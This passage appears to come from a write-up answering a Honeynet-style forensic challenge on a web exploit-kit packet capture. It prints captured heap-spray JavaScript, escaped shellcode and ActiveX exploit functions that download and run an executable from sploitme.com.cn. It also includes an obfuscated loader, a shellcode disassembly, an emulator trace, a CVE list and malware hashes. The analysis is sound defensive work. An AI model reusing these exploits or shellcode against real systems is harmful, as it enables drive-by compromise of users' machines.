%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC
%u0455%u5093%u0C033%u5050%u8B56%u0455%u0C283%u837F%u31C2%u5052%u36B8%u2F1A
%uFF70%u0455%u335B%u577F%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE
%uFF60%u0455%u7468%u7074%u2F3A%u732F%u6C70%u696F%u6D74%u2E65%u6F63%u2E6D
%u6E63%u662F%u2F67%u6F6C%u6461%u702E%u7068%u653F%u343D");var
bigblock=unescape("%u9090%u9090");var headersize=20;var
slackspace=headersize+shellcode.length;while(bigblock.length<slackspace)bigblock+=
bigblock;var fillblock=bigblock.substring(0,slackspace);var
block=bigblock.substring(0,bigblock.length-
slackspace);while(block.length+slackspace<0x40000){block=block+block+fillblock;}
var memory=new Array();for(var i=0;i<350;i++){memory[i]=block+shellcode;}
try{var
obj=document.createElement('object');document.body.appendChild(obj);obj.width='1';
obj.height='1';obj.data='./directshow.php';obj.classid='clsid:0955AC62-BF2E-4CBA-
A2B9-A63F772D46CF';setTimeout("if (CheckIP()){ Complete(); } else
{ snapshot(); }",1000);}catch(e){snapshot();}}
function snapshot(){var x;var obj;var mycars=new Array();mycars[0]='c:/Program
Files/Outlook Express/wab.exe';mycars[1]='d:/Program Files/Outlook
Express/wab.exe';mycars[2]='e:/Program Files/Outlook Express/wab.exe';try{var
obj=new ActiveXObject('snpvw.Snapshot Viewer Control.1');}catch(e){try{var
obj=document.createElement('object');obj.setAttribute('classid','clsid:F0E42D50-
368C-11D0-AD81-
00A0C90DC8D9');obj.setAttribute('id','obj');obj.setAttribute('width','1');obj.setA
ttribute('height','1');document.body.appendChild(obj);}catch(e){}}
try{if(obj=['object']){for(x in mycars){obj=new ActiveXObject('snpvw.Snapshot
Viewer Control.1');var
buf=mycars[x];obj.Zoom=0;obj.ShowNavigationButtons=false;obj.AllowContextMenu=fals
e;obj.SnapshotPath='http://sploitme.com.cn/fg/load.php?
e=6';try{obj.CompressedPath=buf;obj.PrintSnapshot();var
snelement=document.createElement('iframe');snelement.setAttribute('id','snapifra
me');snelement.setAttribute('src','about:blank');snelement.setAttribute('width',
1);snelement.setAttribute('height',1);snelement.setAttribute('style','display:no
ne;');document.body.appendChild(snelement);setTimeout("document.getElementById('s
napiframe').src = 'ldap://';",3000);}catch(e){}}}}catch(e){}
com();}
function com(){try{var
obj=document.createElement('object');document.body.appendChild(obj);obj.setAttribu
te('classid','clsid:EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F');if(obj){var
shcode=unescape("%u0C033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB
%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A
%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B
%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA
%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A
%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%u0C32%uF78B
%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E
%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC
%u0455%u5093%u0C033%u5050%u8B56%u0455%u0C283%u837F%u31C2%u5052%u36B8%u2F1A
%uFF70%u0455%u335B%u577F%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE
%uFF60%u0455%u7468%u7074%u2F3A%u732F%u6C70%u696F%u6D74%u2E65%u6F63%u2E6D
%u6E63%u662F%u2F67%u6F6C%u6461%u702E%u7068%u653F%u373D");var hbs=0x100000;var
sss=hbs-(shcode.length*2+0x38);var hb=(0x0c0c0c0c-hbs)/hbs;var
myvar=unescape("%u0C0C%u0C0C");var ss=myvar;while(ss.length*2<sss){ss+=ss;}
ss=ss.substring(0,sss/2);var m=new Array();for(var i=0;i<hb;i++){m[i]=ss+shcode;}
var

```

```

z=Math.ceil(0x0c0c0c0c);z=document.scripts[0].createControlRange().length;}}catch(
e){}
spreadsheet();}
function spreadsheet(){try{var objspread=new
ActiveXObject('OWC10.Spreadsheet');}catch(e){}
if(objspread){try{var shellcode=unescape("%u0033%u8B64%u3040%u0C78%u408B%u8B0C
%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B
%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B
%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA
%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A
%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B
%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E
%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC
%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A
%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE
%uFF60%u0455%u7468%u7074%u2F3A%u732F%u6C70%u696F%u6D74%u2E65%u6F63%u2E6D
%u6E63%u662F%u2F67%u6F6C%u6461%u702E%u7068%u653F%u383D");var array=new Array();var
ls=0x81000-(shellcode.length*2);var bigblock=unescape("%u0b0c
%u0b0c");while(bigblock.length<ls/2){bigblock+=bigblock;}
var lh=bigblock.substring(0,ls/2);delete bigblock;for(var i=0;i<0x99*2;i++)
{array[i]=lh+lh+shellcode;}
CollectGarbage();var objspread=new ActiveXObject("OWC10.Spreadsheet");e=new
Array();e.push(1);e.push(2);e.push(0);e.push(window);for(i=0;i<e.length;i++)
{for(j=0;j<10;j++){try{objspread.Evaluate(e[i]);}catch(e){}}}
window.status=e[3]+"";for(j=0;j<10;j++)
{try{objspread.msDataSourceObject(e[3]);}catch(e){}}catch(e){}}
Complete();}
mdac();

```

Page: sploitme.com.cn/fg/show.php without 's' parameter, Linux, language en-us, Firefox 0.8 user agent (pkt#717)

Code (identical to pkt#63):

```

var
CRYPT={signature:'CGerjg56R',_keyStr:'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',decode:function(input){var output='';var chr1,chr2,chr3;var
enc1,enc2,enc3,enc4;var i=0;input=input.replace(/[\^A-Za-z0-
9\+\\/\=]/g, '');while(i<input.length){enc1=this._keyStr.indexOf(input.charAt(i+
));enc2=this._keyStr.indexOf(input.charAt(i+
));enc3=this._keyStr.indexOf(input.charAt(i+
));enc4=this._keyStr.indexOf(input.charAt(i++));chr1=(enc1<<2)|
(enc2>>4);chr2=((enc2&15)<<4)|(enc3>>2);chr3=((enc3&3)<<6)|
enc4;output=output+String.fromCharCode(chr1);if(enc3!=64)
{output=output+String.fromCharCode(chr2);}
if(enc4!=64){output=output+String.fromCharCode(chr3);}}
output=CRYPT._utf8_decode(output);return output;},_utf8_decode:function(utftext)
{var string='';var i=0;var c=0,c1=0,c2=0,c3=0;while(i<utftext.length)
{c=utftext.charCodeAtAt(i);if(c<128){string+=String.fromCharCode(c);i++;}else
if((c>191)&&(c<224))
{c2=utftext.charCodeAtAt(i+1);string+=String.fromCharCode(((c&31)<<6)|
(c2&63));i+=2;}else{c2=utftext.charCodeAtAt(i+1);c3=utftext.charCodeAtAt(i+2);string+=
String.fromCharCode(((c&15)<<12)|((c2&63)<<6)|(c3&63));i+=3;}}
return string;},obfuscate:function(str){var container='';for(var
i=0,z=0;i<str.length;i=i+3,z++)
{container+=String.fromCharCode(str.substring(i,i+3)-this.signature.substring(z
%this.signature.length,z%this.signature.length+1).charCodeAt(0));}

```

```

return CRYPT.decode(container);}}
eval(CRYPT.obfuscate('157181187231195154135166180117123204195156160169153153187179
2011851912141281421981891611891961912001401031901651221871621811701531691801171492
0521417721117115218712018220022319221212612213017014421018421120110414013014618017
5229195190106168156188190222191174168172129166183128168223196152151163160115168188
1712231761221321931571581792281891891181651571551871512031941761561531911531911812
0115915215112520112217117318815920410412819016615515023119619115215716315414914921
1194193161141151124176198223192209153121185172155189192158201140173203143179205192
1901721571391681371362061891902191101431321371191901642092141431371901221711731881
5920410412819016615515023119619115215716315414914921119419316114115112417619822319
2209153121185172155188222212202162111204165121191162182211157132166136175186200176
1681581291661831281901641761511421041851781611842221612031251281351681221752222051
8710217117215517020420117515213013715414911920018418021115214216817517015219521717
8137170139156121171162195153156165172150179156216194152110121191175180176186180211
1521381301241692112002212011201622031571591831632052121051591591341441562132151891
7313019112419019120115821412616118213715716818722117615811119115719215823620317411
0105158177137212213174160163144170149173190201218207154122130187145211187163176158
1701601561591832251822131271581801761532192121892061651301531571751991861842111281
3819818816118918322320210314019915713820523120619017316915715118721320421120717414
4170136188200223192225152125139184170151200191193141158130147155149219183186126166
1831181452092141781891741521871331192002241922111321051311751691731922142041041281
9016714318723520420811916317115419122320419021911015616317913919916415522215112516
8115161184217218182172115143')));

```

Deobfuscated:

```

function Complete(){setTimeout('location.href = "about:blank",2000);}
function CheckIP(){var req=null;try{req=new
ActiveXObject("Msxml2.XMLHTTP");}catch(e){try{req=new
ActiveXObject("Microsoft.XMLHTTP");}catch(e){try{req=new
XMLHttpRequest();}catch(e){}}}
if(req==null)return"0";req.open("GET","/fg/show.php?
get_ajax=1&r="+Math.random(),false);req.send(null);if(req.responseText=="1")
{return true;}else{return false;}}
Complete();

```

Question 7. On the malicious URLs at what do you think the variable 's' refers to? List the differences.

Possible Points: 2pts

Tools Used: Wireshark, VIM, Firefox

Values are hard coded in injected malicious Javascript in simulated hacked web sites (RapidShare and Shop) under the variable "click", and copied in redirect URL as value of variable 's'. So, it is not related to browser or country check of malicious code that creates the fake 404 pages. The purpose may be related to something like "affiliation code" of some spam campaign and grayware websites. If site 'A' is hacked by John, and site 'B' is hacked by Fred, the code in 's' leads to different exploits and shellcodes, so victims' computers can be Own3d and added to different botnets.

In capture variable 's' have three different values: "3feb5a6b2f" (pkt#57,#157,#358), "84c090bd86" (pkt#467) and "undefined" (pkt#717). Unfortunately, "undefined" request it is used with Firefox browser, that is not vulnerable, and code generated from server is identical to request with variable 's' assigned as "3feb5a6b2f" in pkt#57, so we can't have a sure reply.

Question 8. Which operating system was targeted by the attacks? Which software? And which vulnerabilities? Could the attacks been prevented?	Possible Points: 4pts
Tools Used:	
<p>Target OS: Windows XP SP2          Target software: Internet explorer, a lot of ActiveX components (see below)          Vulnerabilities:</p> <ul style="list-style-type: none"> <li>• MS06-014, CVE-2006-5559 - Execute method in the ADODB.Connection 2.7 and 2.8 ActiveX control objects</li> <li>• MS07-009, CVE-2006-0003 - Unspecified vulnerability in the RDS.Dataspace ActiveX control, which is contained in ActiveX Data Objects (ADO) and distributed in Microsoft Data Access Components (MDAC) 2.7 and 2.8</li> <li>• unspecified Outlook vulnerabilities (CLSID 0006F033-0000-0000-C000-000000000046 and 0006F03A-0000-0000-C000-000000000046)</li> <li>• two vulnerabilities in Windows Update Web Control, but access is limited only to Microsoft websites, so attackers must work with DNS poisoning or spoofing and SSL hijacking or MITM.</li> <li>• MS06-073, CVE-2006-4704 - Cross-zone scripting vulnerability in the WMI Object Broker (WmiScriptUtils.WMIObjectBroker2) ActiveX control (WmiScriptUtils.dll) in Microsoft Visual Studio 2005</li> <li>• Some Visual Studio components (CLSID 06723E09-F4C2-43c8-8358-09FCD1DB0766], 639F725F-1B2D-4831-A9FD-874847682010, BA018599-1DB3-44f9-83B4-461454C84BF8, D0C07D56-7C69-43F1-B4A0-25F5A11FAB19, E8CCDDDF-CA28-496b-B050-6C07C962476B)</li> <li>• MS09-032, MS09-037, CVE-2008-0015 - Stack-based buffer overflow in the CComVariant::ReadFromStream function in the Active Template Library (ATL), as used in the MPEG2TuneRequest ActiveX control in msvidctl.dll in DirectShow, and a buffer overflow vulnerability in AOL Radio ActiveX, using same vulnerabilities</li> <li>• CVE-2008-2463, MS08-041 - Vulnerability in the ActiveX Control for the Snapshot Viewer for Microsoft Access Could Allow Remote Code Execution</li> <li>• MS05-052, CVE-2005-2127 - a variant of the "COM Object Instantiation Memory Corruption vulnerability."</li> <li>• MS09-043, CVE-2009-0562, CVE-2009-2496 - Office Web Components Memory Allocation Vulnerability</li> </ul> <p>Prevention is possible through patching OS and applications, were updates are available, and using "ActiveX killbits" (see <a href="http://support.microsoft.com/kb/240797">http://support.microsoft.com/kb/240797</a>).</p> <p>As usual, using a web browser that is immune to ActiveX vulnerabilities is recommended.</p>	

Question 9. What actions does the shellcodes perform? Please list the shellcodes (+md5 of the binaries). What's the difference between them?	Possible Points: 8pts
Tools Used: Wireshark, strings, hexdump, diff, libemu (modified)	
<p>Shellcodes are almost identical, with one single difference: the value of parameter 'e' in URL '<a href="http://sploitme.com.cn/fg/load.php?e=INTEGER">http://sploitme.com.cn/fg/load.php?e=INTEGER</a>', where INTEGER is a single digit integer.</p> <p>Using some bits of shell script and python script, we can extract shellcode from deobfuscated Javascript from pkt#496. There are a total of four shellcodes:</p> <ol style="list-style-type: none"> <li>1. one in function aolwinamp (MD5: 41d013ae668ceee5ee4402bcea7933ce)</li> <li>2. one in function directshow (MD5: 1dacf1fbf175fe5361b8601e40deb7f0)</li> <li>3. one in function com (MD5: 22bed6879e586f9858deb74f61b54de4)</li> <li>4. one in function spreadsheet (MD5: 9167201943cc4524d5fc59d57af6bca6)</li> </ol> <p>All shellcodes listing is:</p> <pre> 0: 33 c0          xor    eax, eax 2: 64 8b 40 30     mov    eax, DWORD PTR fs:[eax+0x30] 6: 78 0c          js     0x14 8: 8b 40 0c       mov    eax, DWORD PTR [eax+0xc]                 </pre>	

```

b: 8b 70 1c      mov     esi,DWORD PTR [eax+0x1c]
e: ad           lods   eax,DWORD PTR ds:[esi]
f: 8b 58 08      mov     ebx,DWORD PTR [eax+0x8]
12: eb 09        jmp    0x1d
14: 8b 40 34      mov     eax,DWORD PTR [eax+0x34]
17: 8d 40 7c      lea   eax,[eax+0x7c]
1a: 8b 58 3c      mov     ebx,DWORD PTR [eax+0x3c]
1d: 6a 44         push   0x44
1f: 5a           pop    edx
20: d1 e2        shl   edx,1
22: 2b e2        sub   esp,edx
24: 8b ec        mov   ebp,esp
26: eb 4f        jmp   0x77
28: 5a           pop   edx
29: 52           push  edx
2a: 83 ea 56      sub   edx,0x56
2d: 89 55 04      mov   DWORD PTR [ebp+0x4],edx
30: 56           push  esi
31: 57           push  edi
32: 8b 73 3c      mov   esi,DWORD PTR [ebx+0x3c]
35: 8b 74 33 78   mov   esi,DWORD PTR [ebx+esi*1+0x78]
39: 03 f3        add   esi,ebx
3b: 56           push  esi
3c: 8b 76 20      mov   esi,DWORD PTR [esi+0x20]
3f: 03 f3        add   esi,ebx
41: 33 c9        xor   ecx,ecx
43: 49          dec   ecx
44: 50          push  eax
45: 41          inc   ecx
46: ad          lods  eax,DWORD PTR ds:[esi]
47: 33 ff        xor   edi,edi
49: 36 0f be 14 03 movsx edx,BYTE PTR ss:[ebx+eax*1]
4e: 38 f2        cmp   dl,dh
50: 74 08        je    0x5a
52: c1 cf 0d      ror   edi,0xd
55: 03 fa        add   edi,edx
57: 40          inc   eax
58: eb ef        jmp   0x49
5a: 58          pop   eax
5b: 3b f8        cmp   edi,eax
5d: 75 e5        jne   0x44
5f: 5e          pop   esi
60: 8b 46 24      mov   eax,DWORD PTR [esi+0x24]
63: 03 c3        add   eax,ebx
65: 66 8b 0c 48   mov   cx,WORD PTR [eax+ecx*2]
69: 8b 56 1c      mov   edx,DWORD PTR [esi+0x1c]
6c: 03 d3        add   edx,ebx
6e: 8b 04 8a      mov   eax,DWORD PTR [edx+ecx*4]
71: 03 c3        add   eax,ebx
73: 5f          pop   edi
74: 5e          pop   esi
75: 50          push  eax
76: c3          ret
77: 8d 7d 08      lea  edi,[ebp+0x8]
7a: 57          push  edi
7b: 52          push  edx

```

```

7c: b8 33 ca 8a 5b      mov     eax,0x5b8aca33
81: e8 a2 ff ff ff      call   0x28
86: 32 c0                xor     al,al
88: 8b f7                mov     esi,edi
8a: f2 ae                repnz  scas al,BYTE PTR es:[edi]
8c: 4f                    dec     edi
8d: b8 65 2e 65 78      mov     eax,0x78652e65
92: ab                    stos   DWORD PTR es:[edi],eax
93: 66 98                cbw
95: 66 ab                stos   WORD PTR es:[edi],ax
97: b0 6c                mov     al,0x6c
99: 8a e0                mov     ah,al
9b: 98                    cwde
9c: 50                    push   eax
9d: 68 6f 6e 2e 64      push   0x642e6e6f
a2: 68 75 72 6c 6d      push   0x6d6c7275
a7: 54                    push   esp
a8: b8 8e 4e 0e ec      mov     eax,0xec0e4e8e
ad: ff 55 04            call   DWORD PTR [ebp+0x4]
b0: 93                    xchg   ebx,eax
b1: 50                    push   eax
b2: 33 c0                xor     eax,eax
b4: 50                    push   eax
b5: 50                    push   eax
b6: 56                    push   esi
b7: 8b 55 04            mov     edx,DWORD PTR [ebp+0x4]
ba: 83 c2 7f            add     edx,0x7f
bd: 83 c2 31            add     edx,0x31
c0: 52                    push   edx
c1: 50                    push   eax
c2: b8 36 1a 2f 70      mov     eax,0x702f1a36
c7: ff 55 04            call   DWORD PTR [ebp+0x4]
ca: 5b                    pop    ebx
cb: 33 ff                xor     edi,edi
cd: 57                    push   edi
ce: 56                    push   esi
cf: b8 98 fe 8a 0e      mov     eax,0xe8afe98
d4: ff 55 04            call   DWORD PTR [ebp+0x4]
d7: 57                    push   edi
d8: b8 ef ce e0 60      mov     eax,0x60e0ceef
dd: ff 55 04            call   DWORD PTR [ebp+0x4]

```

excluding last 22 bytes, that are a URL (as string): <http://sploitme.com.cn/fg/load.php?e=X> where X is 3 in aolwinamp shellcode, 4 in directshow shellcode, 7 in com shellcode and 8 in spreadsheet shellcode.

Using a modified libemu, to include a hook to Windows system call GetTempPathA, we have this output from one of the shellcode (from function spreadsheet):

```

/opt/libemu/bin/sctest -Svgs 1000000 < spreadsheet.bin
verbose = 1
success offset = 0x00000000
Hook me Captain Cook!
userhooks.c:127 user_hook_ExitThread
ExitThread(0)
stepcount 295995

```

```

UINT GetTempPath (
    LPTSTR lpBuffer = 0x0012fe18 =>
        none;
    UINT uSize = 136;
) = 19;
HMODULE LoadLibraryA (
    LPCTSTR lpFileName = 0x0012fe04 =>
        = "urlmon.dll";
) = 0x7df20000;
HRESULT URLDownloadToFile (
    LPUNKNOWN pCaller = 0x00000000 =>
        none;
    LPCTSTR szURL = 0x004170e0 =>
        = "http://sploitme.com.cn/fg/load.php?e=8leCursorInfo";
    LPCTSTR szFileName = 0x0012fe18 =>
        = "e.exe";
    DWORD dwReserved = 0;
    LPBINDSTATUSCALLBACK lpfnCB = 0;
) = 0;
UINT WINAPI WinExec (
    LPCSTR lpCmdLine = 0x0012fe18 =>
        = "e.exe";
    UINT uCmdShow = 0;
) = 32;
void ExitThread (
    DWORD dwExitCode = 0;
) = 0;

```

Actions of shellcode are:

1. Get system temporary file path
2. Loads urlmon.dll (that contains function URLDownloadToFile
3. Retrieve file "e.exe" from URL <http://sploitme.com.cn/fg/load.php?e=8>
4. Execute it.

Question 10. Was there malware involved? What is the purpose of the malware(s)? (We are not looking for a detailed malware analysis for this challenge)

Possible Points: 4pts

Tools Used: strings, virustotal.com, qemu

In pkt#189,#205,#513,#528,#635 there are downloads started from shellcodes, and all are Windows executable, all identical (MD5: 52312bb96ce72f230f0350e78873f791 SHA1: 1f613d5260621e4d6737557c68fdc6d322595ef0).

All executables are downloaded in using directory found in "TEMP" process environment variable and executed.

Virustotal.com not identifies files as threat (analysis report link is:

<http://www.virustotal.com/it/analysis/89713a2cf36c4f3552100b0b15907249e80e1e5f648a3901fa92ab09aae4a55f-1267745617>)

Using "strings -a" there are some interesting strings in executable:

- "C:\Program Files\Internet Explorer\iexplore.exe" "%s"
- Starting IE
- urlRetriever|http://www.honeynet.org

Launching one of the files (called video.exe) in a virtual machine with Windows XP SP2, it shows an Access Violation Error (code 0xc0000005) and nothing else. Disabling Executable Prevention Protection feature has no effect.

One other problem can be that I have an Italian release of Windows XP, so path to Internet Explorer executable is quite different from path hardcoded in executables.

Action of executable probably is to launch Internet Explorer to retrieve an URL (i.e. <http://www.honeynet.org>). This action is visible in capture (pkt#221,#544,#643).

#### Bonus

```
UXVlc3Rpb24gQm9udXMgKGZvciBmdW4pLiBBZGRpdGlvbmFsIDEgcG9pbnQgZm9yOiAKV2hh
dCBjYW4geW91IHRlbGwgYWJvdXQgZGF0ZXMvdGltZT8gQW55dGhpbmcgd3Jvbmc/ENhbiB5
b3UgcHJvcG9zZSBhIHBsYXVzaWJsZSBleHBsYW5hdGlvbj8KRKG8geW91IHRoaW5rIHRoYXQg
dGhIIG5ldHdvcmsgY2FwdHVyZSAocGNhcCkgd2FzIG1hZGUg24gYSBsaXZlIGVudmlyb25t
ZW50PyAK
```

Tools Used: base64, Wireshark.

Questions are: Question Bonus (for fun). Additional 1 point for:

What can you tell about dates/time? Anything wrong? Can you propose a plausible explanation?

Do you think that the network capture (pcap) was made on a live environment?

Answer: pcap file report time of start capture in Jan 1, 2010 01:00:29.651780000, but a look in protocols that contains absolute time references (HTTP) reports, for example, Tue, 02 Feb 2010 19:05:12 GMT (pkt #28). HTTP servers contacted in capture, simulated or real, are reporting same time reference, with some discrepancies, but time differences remains identical in quantity for the entire extension of capture. But there are some big differences from pkt#314 and pkt#323, that are in the same TCP connection with same server IP, but pkt#314 say "Tue, 02 Feb 2010 19:06:00 GMT", while pkt#323 say "Wed, 21 Jan 2004 19:51:30 GMT", and packets distance in capture is only 0.44 seconds.

The macroscopic difference between capture timestamp and HTTP responses timestamps can be explained with a wrong system time on the computer that made the capture, most probably a computer with many virtual machines, running QEMU. I cannot explain why pkt#323 shows so big time difference, not with a plausible explanation. It can be a load balancer, behind IP address contacted in pkt#323, but I cannot say how is possible that a balancer broke a single TCP session between more servers.

The rest of capture appears from a live environment, because timing and some "pauses" in capture suggest the use of many virtual machines, started in sequence: first in pkt#1, second in pkt#102, third in pkt#376, fourth in pkt#696, and a human that clicks on some warning popups (pkt#205-pkt#214, pkt#528-pkt#539, pkt#635-pkt#643).

Capture file can be merged, and timestamps ignored, in Wireshark, but there is one aspect that cannot easily changed: in HTTP response packets time are reported with timestamp in readable format. So, if capture file was "forged" it was necessary to change ALL the time in HTTP response packets.

So, I choose the simplest way (Occam Razor): wrong system time in host that really made the capture, and capture was live.